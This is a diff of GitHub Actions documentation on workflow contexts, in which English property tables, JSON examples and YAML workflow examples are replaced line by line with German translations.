unter [Automatische Tokenauthentifizierung](/actions/security-guides/automatic-token-authentication). <br /> Hinweis: Diese Kontexteigenschaft wird vom Actions-Runner festgelegt und ist nur innerhalb der `steps` der Ausführung eines Auftrags verfügbar. Andernfalls ist der Wert dieser Eigenschaft `null`. {% ifversion actions-stable-actor-ids %} | `github.triggering_actor` | `string` | Der Benutzername des Benutzers bzw. der Benutzerin, der/die die erste Workflowausführung initiiert hat. Wenn die Workflowausführung eine erneute Ausführung ist, unterscheidet sich dieser Wert möglicherweise von `github.actor`. Alle Workflowneuausführungen verwenden die Berechtigungen von `github.actor`, auch wenn der Akteur bzw. die Akteurin, der/die die Neuausführung (`github.triggering_actor`) initiiert, unterschiedliche Berechtigungen hat. | {% endif %} | `github.workflow` | `string` | Der Name des Workflows. Wird in der Workflowdatei kein `name`-Wert festgelegt, entspricht der Wert dieser Eigenschaft dem vollständigen Pfad der Workflowdatei im Repository. | | `github.workspace` | `string` | Standardarbeitsverzeichnis des Runners für die Schritte und Standardspeicherort deines Repositorys bei Verwendung der Aktion [`checkout`](https://github.com/actions/checkout). |
### Example contents of the `github` context
### Beispielinhalt des `github`-Kontexts
The following example context is from a workflow run triggered by the `push` event. The `event` object in this example has been truncated because it is identical to the contents of the [`push` webhook payload](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#push).
Der folgende Beispielkontext stammt aus einer Workflowausführung, die vom Ereignis `push` ausgelöst wurde. Das `event`-Objekt in diesem Beispiel wurde gekürzt, da es mit dem Inhalt der [Webhooknutzlast `push`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#push) identisch ist.
{% data reusables.actions.context-example-note %}
@ -268,9 +203,9 @@ The following example context is from a workflow run triggered by the `push` eve
}
```
### Example usage of the `github` context
### Beispielverwendung des `github`-Kontexts
This example workflow uses the `github.event_name` context to run a job only if the workflow run was triggered by the `pull_request` event.
In diesem Beispielworkflow wird der `github.event_name`-Kontext verwendet, um einen Auftrag nur dann auszuführen, wenn die Workflowausführung vom Ereignis `pull_request` ausgelöst wurde.
```yaml{:copy}
name: Run CI
@ -293,22 +228,22 @@ jobs:
run: ./run-additional-pr-ci
```
## `env` context
## Kontext `env`
The `env` context contains environment variables that have been set in a workflow, job, or step. For more information about setting environment variables in your workflow, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#env)."
Der `env`-Kontext enthält Umgebungsvariablen, die in einem Workflow, Auftrag oder Schritt festgelegt wurden. Weitere Informationen zum Festlegen von Umgebungsvariablen in deinem Workflow findest du unter [Workflowsyntax für {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#env).
The `env` context syntax allows you to use the value of an environment variable in your workflow file. You can use the `env` context in the value of any key in a step except for the `id` and `uses` keys. For more information on the step syntax, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idsteps)."
Mit der Syntax für den `env`-Kontext kannst du den Wert einer Umgebungsvariablen in der Workflowdatei verwenden. Du kannst den `env`-Kontext im Wert eines beliebigen Schlüssels in einem Schritt verwenden, mit Ausnahme der Schlüssel `id` und `uses`. Weitere Informationen zur Schrittsyntax findest du unter [Workflowsyntax für {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idsteps).
If you want to use the value of an environment variable inside a runner, use the runner operating system's normal method for reading environment variables.
Wenn Du den Wert einer Umgebungsvariable innerhalb eines Runners verwenden willst, dann verwende die normale Methode des Runner-Betriebssystems zum Lesen von Umgebungsvariablen.
| Property name | Type | Description |
| Eigenschaftenname | type | BESCHREIBUNG |
|---------------|------|-------------|
| `env` | `object` | This context changes for each step in a job. You can access this context from any step in a job. This object contains the properties listed below. |
| `env.<env_name>` | `string` | The value of a specific environment variable. |
| `env` | `object` | Dieser Kontext ändert sich bei jedem Schritt in einem Auftrag. Du kannst bei jedem Schritt in einem Auftrag auf diesen Kontext zugreifen. Dieses Objekt enthält die unten aufgeführten Eigenschaften. |
| `env.<env_name>` | `string` | Der Wert einer bestimmten Umgebungsvariable. |
### Example contents of the `env` context
### Beispielinhalt des `env`-Kontexts
The contents of the `env` context is a mapping of environment variable names to their values. The context's contents can change depending on where it is used in the workflow run.
Der Inhalt des `env`-Kontexts ist eine Zuordnung der Namen von Umgebungsvariablen zu ihren Werten. Je nach der Stelle in der Workflowausführung kann der Inhalt des Kontexts variieren.
```json
{
@ -317,9 +252,9 @@ The contents of the `env` context is a mapping of environment variable names to
}
```
### Example usage of the `env` context
### Beispielverwendung des `env`-Kontexts
This example workflow shows how the `env` context can be configured at the workflow, job, and step levels, as well as using the context in steps.
In diesem Beispielworkflow wird gezeigt, wie du den `env`-Kontext auf der Workflow-, Auftrags- und Schrittebene konfigurierst sowie den Kontext in Schritten verwendest.
{% data reusables.repositories.actions-env-var-note %}
@ -348,25 +283,25 @@ jobs:
```
{% endraw %}
## `job` context
## Kontext `job`
The `job` context contains information about the currently running job.
Der `job`-Kontext enthält Informationen zum derzeit ausgeführten Auftrag.
| Property name | Type | Description |
| Eigenschaftenname | type | BESCHREIBUNG |
|---------------|------|-------------|
| `job` | `object` | This context changes for each job in a workflow run. You can access this context from any step in a job. This object contains all the properties listed below. |
| `job.container` | `object` | Information about the job's container. For more information about containers, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions#jobsjob_idcontainer)." |
| `job.container.id` | `string` | The ID of the container. |
| `job.container.network` | `string` | The ID of the container network. The runner creates the network used by all containers in a job. |
| `job.services` | `object` | The service containers created for a job. For more information about service containers, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions#jobsjob_idservices)." |
| `job.services.<service_id>.id` | `string` | The ID of the service container. |
| `job.services.<service_id>.network` | `string` | The ID of the service container network. The runner creates the network used by all containers in a job. |
| `job.services.<service_id>.ports` | `object` | The exposed ports of the service container. |
| `job.status` | `string` | The current status of the job. Possible values are `success`, `failure`, or `cancelled`. |
| `job` | `object` | Dieser Kontext ändert sich bei jedem Auftrag in einem Workflow-Lauf. Du kannst bei jedem Schritt in einem Auftrag auf diesen Kontext zugreifen. Dieses Objekt enthält alle unten aufgeführten Eigenschaften. |
| `job.container` | `object` | Informationen zum Container des Auftrags. Weitere Informationen zu Containern findest du unter [Workflowsyntax für {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions#jobsjob_idcontainer). |
| `job.container.id` | `string` | ID des Containers. |
| `job.container.network` | `string` | ID des Containernetzwerks. Der Runner erstellt das Netzwerk, das von allen Containern in einem Auftrag genutzt wird. |
| `job.services` | `object` | Die für einen Auftrag erstellten Dienstcontainer. Weitere Informationen zu Dienstcontainern findest du unter [Workflowsyntax für {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions#jobsjob_idservices). |
| `job.services.<service_id>.id` | `string` | ID des Dienstcontainers. |
| `job.services.<service_id>.network` | `string` | ID des Dienstcontainernetzwerks. Der Runner erstellt das Netzwerk, das von allen Containern in einem Auftrag genutzt wird. |
| `job.services.<service_id>.ports` | `object` | Die offengelegten Ports des Service-Containers |
| `job.status` | `string` | Den aktuellen Status des Auftrags. Mögliche Werte sind `success`, `failure` oder `cancelled`. |
### Example contents of the `job` context
### Beispielinhalt des `job`-Kontexts
This example `job` context uses a PostgreSQL service container with mapped ports. If there are no containers or service containers used in a job, the `job` context only contains the `status` property.
In diesem `job`-Beispielkontext wird ein PostgreSQL-Dienstcontainer mit zugeordneten Ports verwendet. Werden in einem Auftrag keine Container oder Dienstcontainer verwendet, enthält der `job`-Kontext nur die Eigenschaft `status`.
```json
{
@ -386,9 +321,9 @@ This example `job` context uses a PostgreSQL service container with mapped ports
}
```
### Example usage of the `job` context
### Beispielverwendung des `job`-Kontexts
This example workflow configures a PostgreSQL service container, and automatically maps port 5432 in the service container to a randomly chosen available port on the host. The `job` context is used to access the number of the port that was assigned on the host.
In diesem Beispielworkflow wird ein PostgreSQL-Dienstcontainer konfiguriert und Port 5432 im Dienstcontainer automatisch einem zufällig ausgewählten verfügbaren Port auf dem Host zugeordnet. Mit dem `job`-Kontext wird auf die Nummer des Ports zugegriffen, der dem Host zugewiesen wurde.
```yaml{:copy}
name: PostgreSQL Service Example
@ -414,20 +349,20 @@ jobs:
{% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %}
## `jobs` context
## Kontext `jobs`
The `jobs` context is only available in reusable workflows, and can only be used to set outputs for a reusable workflow. For more information, see "[Reusing workflows](/actions/using-workflows/reusing-workflows#using-outputs-from-a-reusable-workflow)."
Der Kontext `jobs` ist nur in wiederverwendbaren Workflows verfügbar und kann nur verwendet werden, um Ausgaben für einen wiederverwendbaren Workflow festzulegen. Weitere Informationen findest du unter [Wiederverwenden von Workflows](/actions/using-workflows/reusing-workflows#using-outputs-from-a-reusable-workflow).
| Property name | Type | Description |
| Eigenschaftenname | type | BESCHREIBUNG |
|---------------|------|-------------|
| `jobs` | `object` | This is only available in reusable workflows, and can only be used to set outputs for a reusable workflow. This object contains all the properties listed below.
| `jobs.<job_id>.result` | `string` | The result of a job in the reusable workflow. Possible values are `success`, `failure`, `cancelled`, or `skipped`. |
| `jobs.<job_id>.outputs` | `object` | The set of outputs of a job in a reusable workflow. |
| `jobs.<job_id>.outputs.<output_name>` | `string` | The value of a specific output for a job in a reusable workflow. |
| `jobs` | `object` | Ist ausschließlich in wiederverwendbaren Workflows verfügbar und kann nur verwendet werden, um Ausgaben für einen wiederverwendbaren Workflow festzulegen. Dieses Objekt enthält alle unten aufgeführten Eigenschaften.
| `jobs.<job_id>.result` | `string` | Das Ergebnis eines Auftrags im wiederverwendbaren Workflow. Mögliche Werte sind `success`, `failure`, `cancelled` oder `skipped`. |
| `jobs.<job_id>.outputs` | `object` | Der Ausgabensatz eines Auftrags in einem wiederverwendbaren Workflow. |
| `jobs.<job_id>.outputs.<output_name>` | `string` | Der Wert einer spezifischen Ausgabe für einen Auftrag in einem wiederverwendbaren Workflow. |
### Example contents of the `jobs` context
### Beispielinhalt des `jobs`-Kontexts
This example `jobs` context contains the result and outputs of a job from a reusable workflow run.
Dieses Beispiel für den Kontext `jobs` enthält das Ergebnis und die Ausgaben eines Auftrags aus einer wiederverwendbaren Workflowausführung.
```json
{
@ -441,9 +376,9 @@ This example `jobs` context contains the result and outputs of a job from a reus
}
```
### Example usage of the `jobs` context
### Beispielverwendung des `jobs`-Kontexts
This example reusable workflow uses the `jobs` context to set outputs for the reusable workflow. Note how the outputs flow up from the steps, to the job, then to the `workflow_call` trigger. For more information, see "[Reusing workflows](/actions/using-workflows/reusing-workflows#using-outputs-from-a-reusable-workflow)."
In diesem Beispiel für einen wiederverwendbaren Workflow wird der `jobs`-Kontext verwendet, um Ausgaben für den wiederverwendbaren Workflow festzulegen. Beachte, wie die Ausgaben von den Schritten zum Auftrag und dann zum Trigger `workflow_call` fließen. Weitere Informationen findest du unter [Wiederverwenden von Workflows](/actions/using-workflows/reusing-workflows#using-outputs-from-a-reusable-workflow).
{% raw %}
```yaml{:copy}
@ -486,21 +421,21 @@ jobs:
{% endif %}
## `steps` context
## Kontext `steps`
The `steps` context contains information about the steps in the current job that have an [`id`](/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idstepsid) specified and have already run.
Der `steps`-Kontext enthält Informationen zu den Schritten im aktuellen Auftrag, die über einen angegebenen [`id`](/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idstepsid)-Wert verfügen und bereits ausgeführt wurden.
| Property name | Type | Description |
| Eigenschaftenname | type | BESCHREIBUNG |
|---------------|------|-------------|
| `steps` | `object` | This context changes for each step in a job. You can access this context from any step in a job. This object contains all the properties listed below. |
| `steps.<step_id>.outputs` | `object` | The set of outputs defined for the step. For more information, see "[Metadata syntax for {% data variables.product.prodname_actions %}](/articles/metadata-syntax-for-github-actions#outputs-for-docker-container-and-javascript-actions)." |
| `steps.<step_id>.conclusion` | `string` | The result of a completed step after [`continue-on-error`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepscontinue-on-error) is applied. Possible values are `success`, `failure`, `cancelled`, or `skipped`. When a `continue-on-error` step fails, the `outcome` is `failure`, but the final `conclusion` is `success`. |
| `steps.<step_id>.outcome` | `string` | The result of a completed step before [`continue-on-error`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepscontinue-on-error) is applied. Possible values are `success`, `failure`, `cancelled`, or `skipped`. When a `continue-on-error` step fails, the `outcome` is `failure`, but the final `conclusion` is `success`. |
| `steps.<step_id>.outputs.<output_name>` | `string` | The value of a specific output. |
| `steps` | `object` | Dieser Kontext ändert sich bei jedem Schritt in einem Auftrag. Du kannst bei jedem Schritt in einem Auftrag auf diesen Kontext zugreifen. Dieses Objekt enthält alle unten aufgeführten Eigenschaften. |
| `steps.<step_id>.outputs` | `object` | Der Satz an Ausgaben, die für diesen Schritt definiert wurden. Weitere Informationen findest du unter [Metadatensyntax für {% data variables.product.prodname_actions %}](/articles/metadata-syntax-for-github-actions#outputs-for-docker-container-and-javascript-actions). |
| `steps.<step_id>.conclusion` | `string` | Ergebnis eines abgeschlossenen Schritts nach der Anwendung von [`continue-on-error`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepscontinue-on-error). Mögliche Werte sind `success`, `failure`, `cancelled` oder `skipped`. Tritt bei einem Schritt vom Typ `continue-on-error` ein Fehler auf, lautet der `outcome`-Wert `failure`, doch der endgültige `conclusion`-Wert lautet `success`. |
| `steps.<step_id>.outcome` | `string` | Ergebnis eines abgeschlossenen Schritts vor der Anwendung von [`continue-on-error`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepscontinue-on-error). Mögliche Werte sind `success`, `failure`, `cancelled` oder `skipped`. Tritt bei einem Schritt vom Typ `continue-on-error` ein Fehler auf, lautet der `outcome`-Wert `failure`, doch der endgültige `conclusion`-Wert lautet `success`. |
| `steps.<step_id>.outputs.<output_name>` | `string` | Der Wert einer bestimmten Ausgabe |
### Example contents of the `steps` context
### Beispielinhalt des `steps`-Kontexts
This example `steps` context shows two previous steps that had an [`id`](/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idstepsid) specified. The first step had the `id` named `checkout`, the second `generate_number`. The `generate_number` step had an output named `random_number`.
In diesem `steps`-Beispielkontext siehst du zwei zuvor ausgeführte Schritte mit angegebenem [`id`](/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idstepsid)-Wert. Der `id`-Wert des ersten Schritts lautete `checkout`, der des zweiten Schritts `generate_number`. Die Ausgabe des Schritts `generate_number` lautete `random_number`.
```json
{
@ -519,9 +454,9 @@ This example `steps` context shows two previous steps that had an [`id`](/action
}
```
### Example usage of the `steps` context
### Beispielverwendung des `steps`-Kontexts
This example workflow generates a random number as an output in one step, and a later step uses the `steps` context to read the value of that output.
In diesem Beispielworkflow wird als Ausgabe in einem Schritt eine Zufallszahl generiert, deren Wert in einem späteren Schritt mit dem `steps`-Kontext gelesen wird.
```yaml{:copy}
name: Generate random failure
@ -544,13 +479,13 @@ jobs:
if [[ {% raw %}${{ steps.generate_number.outputs.random_number }}{% endraw %} == 0 ]]; then exit 0; else exit 1; fi
```
## `runner` context
## Kontext `runner`
The `runner` context contains information about the runner that is executing the current job.
Der `runner`-Kontext enthält Informationen zum Runner, der den aktuellen Auftrag ausführt.
| Property name | Type | Description |
| Eigenschaftenname | type | BESCHREIBUNG |
|---------------|------|-------------|
| `runner` | `object` | This context changes for each job in a workflow run. This object contains all the properties listed below. |
| `runner` | `object` | Dieser Kontext ändert sich bei jedem Auftrag in einem Workflow-Lauf. Dieses Objekt enthält alle unten aufgeführten Eigenschaften. |
| `runner.name` | `string` | {% data reusables.actions.runner-name-description %} |
| `runner.os` | `string` | {% data reusables.actions.runner-os-description %} |{% ifversion actions-runner-arch-envvars %}
| `runner.arch` | `string` | {% data reusables.actions.runner-arch-description %} |{% endif %}
@ -558,14 +493,12 @@ The `runner` context contains information about the runner that is executing the
| `runner.tool_cache` | `string` | {% ifversion ghae %}{% data reusables.actions.self-hosted-runners-software %} {% else %} {% data reusables.actions.runner-tool-cache-description %} {% endif %}|
| `runner.debug` | `string` | {% data reusables.actions.runner-debug-description %} |
{%- comment %}
The `runner.workspace` property is purposefully not documented. It is an early Actions property that now isn't relevant for users, compared to `github.workspace`. It is kept around for compatibility.
| `runner.workspace` | `string` | |
{%- endcomment %}
{%- comment %} Die Eigenschaft `runner.workspace` wird absichtlich nicht dokumentiert. Dabei handelt es sich verglichen mit `github.workspace` um eine frühe Actions-Eigenschaft. Sie wird aus Kompatibilitätsgründen beibehalten.
| `runner.workspace` | `string` | | {%- endcomment %}
### Example contents of the `runner` context
### Beispielinhalt des `runner`-Kontexts
The following example context is from a Linux {% data variables.product.prodname_dotcom %}-hosted runner.
Der folgende Beispielkontext stammt von einem unter Linux gehosteten {% data variables.product.prodname_dotcom %}-Runner.
```json
{
@ -581,9 +514,9 @@ The following example context is from a Linux {% data variables.product.prodname
}
```
### Example usage of the `runner` context
### Beispielverwendung des `runner`-Kontexts
This example workflow uses the `runner` context to set the path to the temporary directory to write logs, and if the workflow fails, it uploads those logs as artifact.
In diesem Beispielworkflow wird mit dem `runner`-Kontext der Pfad zum temporären Verzeichnis zum Schreiben von Protokollen festgelegt. Bei einem Fehler in der Workflowausführung werden diese Protokolle als Artefakt hochgeladen.
```yaml{:copy}
name: Build
@ -606,23 +539,23 @@ jobs:
path: {% raw %}${{ runner.temp }}{% endraw %}/build_logs
```
## `secrets` context
## Kontext `secrets`
The `secrets` context contains the names and values of secrets that are available to a workflow run. The `secrets` context is not available for composite actions due to security reasons. If you want to pass a secret to a composite action, you need to do it explicitly as an input. For more information about secrets, see "[Encrypted secrets](/actions/security-guides/encrypted-secrets)."
Der `secrets`-Kontext enthält die Namen und Werte von Geheimnissen, die für eine Workflowausführung verfügbar sind. Der `secrets`-Kontext ist aus Sicherheitsgründen nicht für zusammengesetzte Aktionen verfügbar. Wenn du ein Geheimnis an eine zusammengesetzte Aktion übergeben möchtest, musst du es explizit als Eingabe übergeben. Weitere Informationen zu Geheimnissen findest du unter [Verschlüsselte Geheimnisse](/actions/security-guides/encrypted-secrets).
`GITHUB_TOKEN` is a secret that is automatically created for every workflow run, and is always included in the `secrets` context. For more information, see "[Automatic token authentication](/actions/security-guides/automatic-token-authentication)."
Das Geheimnis `GITHUB_TOKEN` wird automatisch für jede Workflowausführung erstellt und ist in jedem `secrets`-Kontext enthalten. Weitere Informationen findest du unter [Automatische Tokenauthentifizierung](/actions/security-guides/automatic-token-authentication).
{% data reusables.actions.secrets-redaction-warning %}
| Property name | Type | Description |
| Eigenschaftenname | type | BESCHREIBUNG |
|---------------|------|-------------|
| `secrets` | `object` | This context is the same for each job in a workflow run. You can access this context from any step in a job. This object contains all the properties listed below. |
| `secrets.GITHUB_TOKEN` | `string` | Automatically created token for each workflow run. For more information, see "[Automatic token authentication](/actions/security-guides/automatic-token-authentication)." |
| `secrets.<secret_name>` | `string` | The value of a specific secret. |
| `secrets` | `object` | Dieser Kontext ist für jeden Auftrag in einer Workflowausführung identisch. Du kannst bei jedem Schritt in einem Auftrag auf diesen Kontext zugreifen. Dieses Objekt enthält alle unten aufgeführten Eigenschaften. |
| `secrets.GITHUB_TOKEN` | `string` | Automatisch erstelltes Token für jede Workflowausführung. Weitere Informationen findest du unter [Automatische Tokenauthentifizierung](/actions/security-guides/automatic-token-authentication). |
| `secrets.<secret_name>` | `string` | Wert eines bestimmten Geheimnisses. |
### Example contents of the `secrets` context
### Beispielinhalt des `secrets`-Kontexts
The following example contents of the `secrets` context shows the automatic `GITHUB_TOKEN`, as well as two other secrets available to the workflow run.
Im folgenden Beispielinhalt des `secrets`-Kontexts siehst du das automatisch generierte Geheimnis `GITHUB_TOKEN` sowie zwei weitere Geheimnisse, die für die Workflowausführung verfügbar sind.
```json
{
@ -632,25 +565,25 @@ The following example contents of the `secrets` context shows the automatic `GIT
}
```
### Example usage of the `secrets` context
### Beispielverwendung des `secrets`-Kontexts
{% data reusables.actions.github_token-input-example %}
## `strategy` context
## Kontext `strategy`
For workflows with a matrix, the `strategy` context contains information about the matrix execution strategy for the current job.
Für Workflows mit einer Matrix enthält der `strategy`-Kontext Informationen zur Ausführungsstrategie der Matrix für den aktuellen Auftrag.
| Property name | Type | Description |
| Eigenschaftenname | type | BESCHREIBUNG |
|---------------|------|-------------|
| `strategy` | `object` | This context changes for each job in a workflow run. You can access this context from any job or step in a workflow. This object contains all the properties listed below. |
| `strategy.fail-fast` | `boolean` | When `true`, all in-progress jobs are canceled if any job in a matrix fails. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategyfail-fast)." |
| `strategy.job-index` | `number` | The index of the current job in the matrix. **Note:** This number is a zero-based number. The first job's index in the matrix is `0`. |
| `strategy.job-total` | `number` | The total number of jobs in the matrix. **Note:** This number **is not** a zero-based number. For example, for a matrix with four jobs, the value of `job-total` is `4`. |
| `strategy.max-parallel` | `number` | The maximum number of jobs that can run simultaneously when using a `matrix` job strategy. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategymax-parallel)." |
| `strategy` | `object` | Dieser Kontext ändert sich bei jedem Auftrag in einem Workflow-Lauf. Auf diesen Kontext kannst du von jedem Auftrag oder Schritt in einem Workflow zugreifen. Dieses Objekt enthält alle unten aufgeführten Eigenschaften. |
| `strategy.fail-fast` | `boolean` | Bei `true` werden alle ausgeführten Aufträge abgebrochen, wenn bei einem Auftrag in einer Matrix ein Fehler auftritt. Weitere Informationen findest du unter [Workflowsyntax für {% data variables.product.prodname_actions %}](/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategyfail-fast). |
| `strategy.job-index` | `number` | Index des aktuellen Auftrags in der Matrix. **Hinweis**: Diese Zahl ist nullbasiert. Der Index des ersten Auftrags in der Matrix ist `0`. |
| `strategy.job-total` | `number` | Die Gesamtanzahl der Aufträge in der Matrix. **Hinweis**: Diese Zahl ist **nicht** nullbasiert. Für eine Matrix mit vier Aufträgen ist der Wert von `job-total` z. B. `4`. |
| `strategy.max-parallel` | `number` | Maximale Anzahl der Aufträge, die bei Verwendung einer `matrix`-Auftragsstrategie gleichzeitig ausgeführt werden können. Weitere Informationen findest du unter [Workflowsyntax für {% data variables.product.prodname_actions %}](/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategymax-parallel). |
### Example contents of the `strategy` context
### Beispielinhalt des `strategy`-Kontexts
The following example contents of the `strategy` context is from a matrix with four jobs, and is taken from the final job. Note the difference between the zero-based `job-index` number, and `job-total` which is not zero-based.
Der folgende Beispielinhalt des `strategy`-Kontexts stammt aus dem letzten Auftrag einer Matrix mit vier Aufträgen. Wie du siehst, unterscheidet sich die nullbasierte Anzahl für `job-index` von der nicht nullbasierten Anzahl für `job-total`.
```json
{
@ -661,9 +594,9 @@ The following example contents of the `strategy` context is from a matrix with f
}
```
### Example usage of the `strategy` context
### Beispielverwendung des `strategy`-Kontexts
This example workflow uses the `strategy.job-index` property to set a unique name for a log file for each job in a matrix.
In diesem Beispielworkflow wird mit der Eigenschaft `strategy.job-index` ein eindeutiger Name für eine Protokolldatei für jeden Auftrag in einer Matrix festgelegt.
```yaml{:copy}
name: Test matrix
@ -686,20 +619,20 @@ jobs:
path: test-job-{% raw %}${{ strategy.job-index }}{% endraw %}.txt
```
## `matrix` context
## Kontext `matrix`
For workflows with a matrix, the `matrix` context contains the matrix properties defined in the workflow file that apply to the current job. For example, if you configure a matrix with the `os` and `node` keys, the `matrix` context object includes the `os` and `node` properties with the values that are being used for the current job.
Für Workflows mit einer Matrix enthält der `matrix`-Kontext die Matrixeigenschaften, die in der Workflowdatei für den aktuellen Auftrag definiert sind. Wenn du z. B. eine Matrix mit den Schlüsseln `os` und `node` konfigurierst, enthält das `matrix`-Kontextobjekt die Eigenschaften `os` und `node` mit den Werten, die für den aktuellen Auftrag verwendet werden.
There are no standard properties in the `matrix` context, only those which are defined in the workflow file.
Der `matrix`-Kontext enthält nur die in der Workflowdatei definierten Eigenschaften, keine Standardeigenschaften.
| Property name | Type | Description |
| Eigenschaftenname | type | BESCHREIBUNG |
|---------------|------|-------------|
| `matrix` | `object` | This context is only available for jobs in a matrix, and changes for each job in a workflow run. You can access this context from any job or step in a workflow. This object contains the properties listed below. |
| `matrix.<property_name>` | `string` | The value of a matrix property. |
| `matrix` | `object` | Dieser Kontext ist nur für Aufträge in einer Matrix verfügbar und unterscheidet sich für jeden Auftrag in einer Workflowausführung. Auf diesen Kontext kannst du von jedem Auftrag oder Schritt in einem Workflow zugreifen. Dieses Objekt enthält die unten aufgeführten Eigenschaften. |
| `matrix.<property_name>` | `string` | Wert einer Matrixeigenschaft. |
### Example contents of the `matrix` context
### Beispielinhalt des `matrix`-Kontexts
The following example contents of the `matrix` context is from a job in a matrix that has the `os` and `node` matrix properties defined in the workflow. The job is executing the matrix combination of an `ubuntu-latest` OS and Node.js version `16`.
Der folgende Beispielinhalt des `matrix`-Kontexts stammt aus einem Auftrag in einer Matrix, die die im Workflow definierten Matrixeigenschaften `os` und `node` aufweist. Der Auftrag führt die Matrixkombination aus einem `ubuntu-latest`-Betriebssystem und Version `16` von Node.js aus.
```json
{
@ -708,9 +641,9 @@ The following example contents of the `matrix` context is from a job in a matrix
}
```
### Example usage of the `matrix` context
### Beispielverwendung des `matrix`-Kontexts
This example workflow creates a matrix with `os` and `node` keys. It uses the `matrix.os` property to set the runner type for each job, and uses the `matrix.node` property to set the Node.js version for each job.
In diesem Beispielworkflow wird eine Matrix mit den Schlüsseln `os` und `node` erstellt. Mit der Eigenschaft `matrix.os` wird der Runnertyp und mit der Eigenschaft `matrix.node` die Version von Node.js für jeden Auftrag festgelegt.
```yaml{:copy}
name: Test matrix
@ -734,21 +667,21 @@ jobs:
run: npm test
```
## `needs` context
## Kontext `needs`
The `needs` context contains outputs from all jobs that are defined as a direct dependency of the current job. Note that this doesn't include implicitly dependent jobs (for example, dependent jobs of a dependent job). For more information on defining job dependencies, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idneeds)."
Der `needs`-Kontext enthält Ausgaben aller Aufträge, die als direkte Abhängigkeit des aktuellen Auftrags definiert sind. Beachte, dass das nicht für implizit abhängige Aufträge gilt (z. B. abhängige Aufträge eines abhängigen Auftrags). Weitere Informationen zum Definieren von Auftragsabhängigkeiten findest du unter [Workflowsyntax für {% data variables.product.prodname_actions %}](/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idneeds).
| Property name | Type | Description |
| Eigenschaftenname | type | BESCHREIBUNG |
|---------------|------|-------------|
| `needs` | `object` | This context is only populated for workflow runs that have dependent jobs, and changes for each job in a workflow run. You can access this context from any job or step in a workflow. This object contains all the properties listed below. |
| `needs.<job_id>` | `object` | A single job that the current job depends on. |
| `needs.<job_id>.outputs` | `object` | The set of outputs of a job that the current job depends on. |
| `needs.<job_id>.outputs.<output name>` | `string` | The value of a specific output for a job that the current job depends on. |
| `needs.<job_id>.result` | `string` | The result of a job that the current job depends on. Possible values are `success`, `failure`, `cancelled`, or `skipped`. |
| `needs` | `object` | Dieser Kontext wird nur für Workflowausführungen mit abhängigen Aufträgen ausgefüllt und unterscheidet sich für jeden Auftrag in einer Workflowausführung. Auf diesen Kontext kannst du von jedem Auftrag oder Schritt in einem Workflow zugreifen. Dieses Objekt enthält alle unten aufgeführten Eigenschaften. |
| `needs.<job_id>` | `object` | Ein einzelner Job, von dem der aktuelle Job abhängt. |
| `needs.<job_id>.outputs` | `object` | Die Menge aller Ausgaben eines Jobs, von dem der aktuelle Job abhängt. |
| `needs.<job_id>.outputs.<output name>` | `string` | Der Wert einer bestimmten Ausgabe für einen Job, von dem der aktuelle Job abhängt. |
| `needs.<job_id>.result` | `string` | Das Ergebnis eines Jobs, von dem der aktuelle Job abhängt. Mögliche Werte sind `success`, `failure`, `cancelled` oder `skipped`. |
### Example contents of the `needs` context
### Beispielinhalt des `needs`-Kontexts
The following example contents of the `needs` context shows information for two jobs that the current job depends on.
Im folgenden Beispielinhalt des `needs`-Kontexts siehst du Informationen für zwei Aufträge, von denen der aktuelle Auftrag abhängt.
```json
{
@ -765,9 +698,9 @@ The following example contents of the `needs` context shows information for two
}
```
### Example usage of the `needs` context
### Beispielverwendung des `needs`-Kontexts
This example workflow has three jobs: a `build` job that does a build, a `deploy` job that requires the `build` job, and a `debug` job that requires both the `build` and `deploy` jobs and runs only if there is a failure in the workflow. The `deploy` job also uses the `needs` context to access an output from the `build` job.
Dieser Beispielworkflow verfügt über drei Aufträge: einen `build`-Auftrag, der einen Build ausführt, einen `deploy`-Auftrag, für den der `build`-Auftrag benötigt wird, und einen `debug`-Auftrag, für den die Aufträge `build` und `deploy` benötigt werden und der nur bei einem Fehler im Workflow ausgeführt wird. Der `deploy`-Auftrag verwendet den `needs`-Kontext auch, um auf eine Ausgabe aus dem `build`-Auftrag zuzugreifen.
```yaml{:copy}
name: Build and deploy
@ -805,22 +738,22 @@ jobs:
```
{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
## `inputs` context
## Kontext `inputs`
